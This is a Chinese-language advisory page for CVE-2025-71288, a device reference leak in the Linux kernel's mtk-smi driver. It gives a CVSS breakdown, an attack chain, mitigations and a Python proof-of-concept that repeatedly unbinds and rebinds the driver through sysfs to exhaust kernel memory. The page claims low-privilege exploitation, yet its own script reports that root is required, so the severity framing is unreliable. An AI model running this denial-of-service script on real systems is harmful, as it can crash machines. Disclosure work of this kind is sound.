IPBUF安全漏洞报告
English
CVE-2025-71288 CVSS 5.5 中危

CVE-2025-71288: Linux内核mtk-smi设备泄漏漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71288
漏洞类型
资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel资源泄漏DoS本地漏洞mtk-smi驱动程序

漏洞概述

Linux内核中的mtk-smi驱动程序存在资源泄漏漏洞。在通用探测流程中,当发生探测延迟失败或驱动程序解绑时,系统未能释放查找SMI设备时获取的引用计数,导致设备对象泄漏。本地低权限攻击者可利用此缺陷持续消耗系统内核内存,最终导致系统资源耗尽并引发拒绝服务。

技术细节

该漏洞源于Linux内核drivers/memory/mtk-smi.c驱动代码中的错误处理逻辑缺陷。在mtk_smi_larb_bind或mtk_smi_device_link_common函数中,当调用of_find_device_by_node或类似接口查找SMI公共设备时,成功后会获取该设备的引用计数。然而,在随后的probe失败路径(如返回-EPROBE_DEFER)或驱动unbind时,代码缺少对应的put_device调用以释放该引用。这导致设备的引用计数永远不会归零,设备结构体及相关内存资源无法被内核回收。本地攻击者通过反复加载卸载相关驱动或触发探测失败,可导致内核内存持续泄漏,最终因内存耗尽引发系统崩溃或拒绝服务。

攻击链分析

STEP 1
访问与侦察
本地低权限攻击者确认系统运行受影响的Linux内核版本,并具有访问mtk-smi相关设备节点的权限。
STEP 2
触发探测失败
攻击者通过系统调用或脚本操作,反复对mtk-smi设备进行解绑和绑定操作,或触发导致探测延迟失败的场景。
STEP 3
资源耗尽
由于驱动程序在错误路径未释放设备引用,每次操作都会导致内核内存泄漏,随着时间推移,可用内存逐渐减少。
STEP 4
拒绝服务
当系统内存被耗尽时,可能导致系统崩溃、关键服务停止响应或无法启动新进程,达成拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2025-71288 This script attempts to trigger the device leak by repeatedly binding and unbinding the mtk-smi driver, causing memory exhaustion over time. """ import os import time import sys # Target driver path in sysfs DRIVER_PATH = "/sys/bus/platform/drivers/mtk-smi-larb" # Example device name, may vary based on hardware DEVICE_NAME = "mtk-smi-larb0" def trigger_leak(): try: # Unbind the device to trigger remove path with open(os.path.join(DRIVER_PATH, "unbind"), "w") as f: f.write(DEVICE_NAME) # Bind the device to trigger probe path (where leak occurs) with open(os.path.join(DRIVER_PATH, "bind"), "w") as f: f.write(DEVICE_NAME) print(f"[+] Cycle completed: {DEVICE_NAME}") except FileNotFoundError: print("[-] Driver or device not found. System may not be vulnerable or hardware differs.") sys.exit(1) except PermissionError: print("[-] Permission denied. Root privileges required.") sys.exit(1) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] Starting PoC for CVE-2025-71288...") print("[*] Monitor memory usage (e.g., top/htop/free) to observe leak.") for i in range(1000): trigger_leak() time.sleep(0.05) # Short delay to allow system processing print("[*] PoC execution finished.")

影响范围

Linux Kernel < 6.8
Linux Kernel 6.8.x
Linux Kernel 6.9.x
Linux Kernel 6.10.x
Linux Kernel 6.11.x
Linux Kernel 6.12.x (未打补丁前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过禁用mtk-smi驱动模块(通过modprobe.d blacklist)或使用chmod限制对/sys/bus/platform/drivers/mtk-smi*的写入权限,防止攻击者利用该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表